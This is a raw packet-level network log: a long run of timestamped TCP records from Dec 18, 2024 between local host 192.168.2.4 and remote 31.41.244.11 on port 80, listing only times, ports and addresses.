Dec 18, 2024 17:08:14.360697985 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.360765934 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.360817909 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.361747980 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.361810923 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.361855030 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.361911058 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.362770081 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.362860918 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.362905979 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.362962961 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.363850117 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.363995075 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.364058018 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.365025997 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.365084887 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.365175962 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.365231991 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.366290092 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.366352081 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.366434097 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.366491079 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.367264032 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.367368937 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.367448092 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.368184090 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.368236065 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.368288040 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.368335962 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.369415045 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.369554996 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.369602919 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.369632959 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.370630980 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.370702982 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.370762110 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.371402025 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.371584892 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.371638060 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.372550964 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.372606039 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.372684002 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.372735023 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.373542070 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.373614073 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.374059916 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.374110937 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.374624014 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.374680996 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.374738932 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.374785900 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.375750065 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.375931978 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.375998974 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.376785040 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.376847982 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.376923084 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.376967907 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.377856016 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.377969980 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.378021955 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.379060984 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.379113913 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.379240036 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.380088091 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.380141973 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.380264044 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.380312920 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.381079912 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.381135941 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.381206036 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.381335974 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.382179022 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.382232904 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.382299900 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.382347107 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.383374929 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.383513927 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.383595943 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.384332895 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.384391069 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.384443045 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.384497881 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.385426998 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.385483027 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.385550976 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.385602951 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.387202978 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.387307882 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.387368917 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.387892008 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.387940884 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.387984991 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.388045073 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.388820887 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.388874054 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.388974905 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.389028072 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.389889956 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.389938116 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.525437117 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.525530100 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.525629997 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.525933981 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.526000023 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.526041985 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.526096106 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.526791096 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.526849031 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.526918888 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.526973963 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.527966976 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.528027058 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.528063059 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.528115988 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.528951883 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.529087067 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.529092073 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.529145002 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.530045986 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.530098915 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.530323029 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.530473948 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.531063080 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.531117916 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.531207085 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.531491041 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.532162905 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.532233000 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.532300949 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.532439947 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.533242941 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.533299923 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.533355951 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.533607960 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.534373999 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.534512997 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.534526110 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.534557104 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.535470009 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.535525084 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.535605907 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.535665989 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.536483049 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.536540031 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.536670923 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.537051916 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.537651062 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.537868023 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.537929058 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.538798094 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.538849115 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.538924932 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.539015055 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.539719105 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.539832115 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.539881945 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.540792942 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.541030884 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.541057110 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.541100025 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.541893005 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.541953087 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.541979074 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.542036057 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.543011904 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.543067932 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.543147087 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.543231964 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.544169903 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.544239998 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.544306040 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.544365883 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.545221090 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.545291901 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.545377016 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.545444965 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.546299934 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.546416998 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.546448946 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.546475887 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.547264099 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.547360897 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.547411919 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.547456980 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.548472881 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.548542976 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.548578024 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.548624992 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.549513102 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.549565077 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.549657106 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.549771070 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.550434113 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.550484896 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.550595999 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.550635099 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.551534891 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.551660061 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.551707983 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.552580118 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.552628040 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.552711964 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.552802086 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.553674936 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.553721905 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.553883076 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.553926945 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.554933071 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.554977894 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.555047035 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.555092096 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.555846930 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.555896997 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.555964947 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.556005955 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.557115078 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.557163000 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.557221889 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.557271004 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.558192968 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.558259010 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.558377028 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.558424950 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.559355974 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.559408903 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.559478998 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.559545994 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.560276985 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.560322046 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.560400963 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.560445070 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.561467886 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.561517000 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.561563015 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.561605930 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.562511921 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.562556982 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.562592983 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.562635899 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.563390970 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.563461065 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.563538074 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.563616037 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.564414978 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.564609051 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.564642906 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.564671993 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.565529108 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.565589905 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.565658092 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.565704107 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.566618919 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.566685915 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.566708088 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.566752911 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.567683935 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.567729950 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.567790031 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.567833900 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.568732977 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.568788052 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.568847895 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.568891048 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.569880009 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.569926023 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.570003986 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.570048094 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.570998907 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.571043968 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.571089983 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.571142912 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.572040081 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.572086096 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.572160006 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.572223902 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.573215961 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.573422909 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.573468924 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.574224949 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.574276924 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.574383020 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.574421883 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.575248003 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.575370073 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.575414896 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.576392889 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.576448917 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.576524973 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.576572895 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.577343941 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.577392101 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.577450037 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.577493906 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.579340935 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.579495907 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.579617023 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.579802990 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.579862118 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.579900980 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.580774069 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.580921888 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.581226110 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.581828117 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.581885099 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.581944942 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.717638016 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.717722893 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.717727900 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.717772961 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.717993021 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.718051910 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.718141079 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.718199015 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.719068050 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.719121933 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.719288111 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.719350100 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.720082045 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.720181942 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.720221043 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.720267057 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.720925093 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.720999956 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.721100092 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.721154928 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.721991062 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.722055912 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.722214937 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.722270012 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.723021030 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.723079920 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.723134041 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.723190069 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.724136114 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.724205971 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.724258900 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.724307060 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.725158930 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.725223064 CET	49749	80	192.168.2.4	31.41.244.11
